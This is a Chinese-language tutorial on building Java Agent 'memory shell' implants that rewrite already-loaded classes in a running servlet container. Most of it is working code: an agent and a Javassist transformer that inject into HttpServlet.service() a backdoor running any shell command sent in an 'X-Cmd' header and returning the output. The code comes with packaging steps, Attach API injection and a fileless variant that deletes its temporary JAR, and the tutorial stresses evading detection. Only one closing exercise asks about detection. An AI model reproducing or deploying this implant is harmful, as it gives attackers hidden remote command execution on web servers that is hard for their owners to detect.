Agent 型内存马是最高级的形式,可以修改任意已加载类的字节码,几乎无法通过常规手段检测
Java Agent 基础
什么是 Java Agent
Java Agent 是 JVM 提供的一种机制,允许在类加载前后修改类的字节码。它是 JVM 级别的 AOP
两种加载方式
| 方式 |
时机 |
入口方法 |
参数 |
premain |
JVM 启动时(-javaagent 参数) |
premain(String, Instrumentation) |
启动参数 |
agentmain |
JVM 运行时(Attach API) |
agentmain(String, Instrumentation) |
运行时附加 |
内存马主要使用 agentmain —— 因为目标 JVM 已经在运行了
MANIFEST.MF 配置
1 2 3 4 5
| Manifest-Version: 1.0 Agent-Class: com.evil.AgentMain Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: com.evil.AgentMain
|
Instrumentation API
核心接口
1 2 3 4 5 6 7 8 9 10
| public interface Instrumentation {
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void retransformClasses(Class<?>... classes);
void redefineClasses(ClassDefinition... definitions);
Class<?>[] getAllLoadedClasses(); }
|
1 2 3 4 5 6 7 8 9 10
| public interface ClassFileTransformer { byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer ) throws IllegalClassFormatException;
}
|
Agent 型内存马的思路
不是新增组件,而是 修改已有类的行为
常见修改目标
| 目标类 |
修改方法 |
效果 |
javax.servlet.http.HttpServlet |
service() |
所有 Servlet 都会执行恶意代码 |
o.a.c.core.ApplicationFilterChain |
doFilter() |
在 Filter 链中插入恶意逻辑 |
o.s.web.servlet.DispatcherServlet |
doDispatch() |
Spring MVC 请求入口 |
o.a.c.valves.AccessLogValve |
invoke() |
利用日志 Valve |
核心优势
- 无新增组件:不注册新的 Filter/Servlet,仅修改已有类
- 极难检测:检测工具通常只检查新增组件,不会逐个检查已有类的字节码
- 范围可控:可以精确修改目标方法的特定行为
实现步骤
Step 1: 编写 Agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class MemShellAgent { public static void agentmain(String args, Instrumentation inst) { inst.addTransformer(new EvilTransformer(), true); Class<?>[] allClasses = inst.getAllLoadedClasses(); for (Class<?> clazz : allClasses) { if (clazz.getName().equals( "javax.servlet.http.HttpServlet")) { try { inst.retransformClasses(clazz); } catch (Exception e) { e.printStackTrace(); } } } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public class EvilTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if (!"javax/servlet/http/HttpServlet".equals(className)) { return null; } try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new LoaderClassPath(loader)); CtClass ctClass = pool.get("javax.servlet.http.HttpServlet"); CtMethod serviceMethod = ctClass.getDeclaredMethod("service");
String code = "{" + "javax.servlet.http.HttpServletRequest req = " + " (javax.servlet.http.HttpServletRequest)$1;" + "javax.servlet.http.HttpServletResponse resp = " + " (javax.servlet.http.HttpServletResponse)$2;" + "String cmd = req.getHeader(\"X-Cmd\");" + "if (cmd != null) {" + " Process p = Runtime.getRuntime().exec(cmd);" + " java.io.InputStream in = p.getInputStream();" + " byte[] buf = new byte[4096];" + " int len;" + " StringBuilder sb = new StringBuilder();" + " while ((len = in.read(buf)) != -1) {" + " sb.append(new String(buf, 0, len));" + " }" + " resp.getWriter().write(sb.toString());" + " resp.getWriter().flush();" + " return;" + "}" + "}"; serviceMethod.insertBefore(code);
byte[] result = ctClass.toBytecode(); ctClass.detach(); return result; } catch (Exception e) { e.printStackTrace(); return null; } } }
|
Step 3: 打包为 Agent JAR
1 2
| javac -cp javassist.jar com/evil/MemShellAgent.java com/evil/EvilTransformer.java jar cfm agent.jar MANIFEST.MF com/evil/*.class
|
Step 4: Attach 到目标 JVM
1 2 3
| VirtualMachine vm = VirtualMachine.attach(targetPid); vm.loadAgent("/path/to/agent.jar"); vm.detach();
|
无文件 Attach(进阶)
传统方式需要 Agent JAR 文件落地,可以通过以下方式避免:
方式1:内存中构造 JAR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); JarOutputStream jos = new JarOutputStream(baos, manifest); JarEntry entry = new JarEntry("com/evil/MemShellAgent.class"); jos.putNextEntry(entry); jos.write(agentClassBytes); jos.closeEntry(); jos.close();
Path tmpJar = Files.createTempFile("agent", ".jar"); Files.write(tmpJar, baos.toByteArray()); VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(tmpJar.toString()); vm.detach(); Files.delete(tmpJar);
|
方式2:Self-Attach(JDK 9+)
1 2 3
|
Instrumentation inst = ByteBuddyAgent.install();
|
Agent 型 vs Servlet 型对比
| 维度 |
Servlet 型 |
Agent 型 |
| 修改方式 |
新增组件 |
修改已有类 |
| 检测难度 |
可枚举组件发现 |
需要对比字节码 |
| 依赖 |
需要 Tomcat/Spring 内部 API |
需要 Instrumentation |
| 复杂度 |
中等 |
高 |
| 持久性 |
重启消失 |
重启消失(除非 premain) |
| 副作用 |
可能与现有组件冲突 |
可能导致类行为异常 |
练习
- 编写一个简单的 Java Agent,在
HttpServlet.service() 方法入口打印日志
- 使用 Attach API 将 Agent 附加到运行中的 Tomcat
- 修改 Agent,加入命令执行功能(仅在特定 Header 存在时触发)
- 思考:如何检测一个类的字节码是否被 Agent 修改过?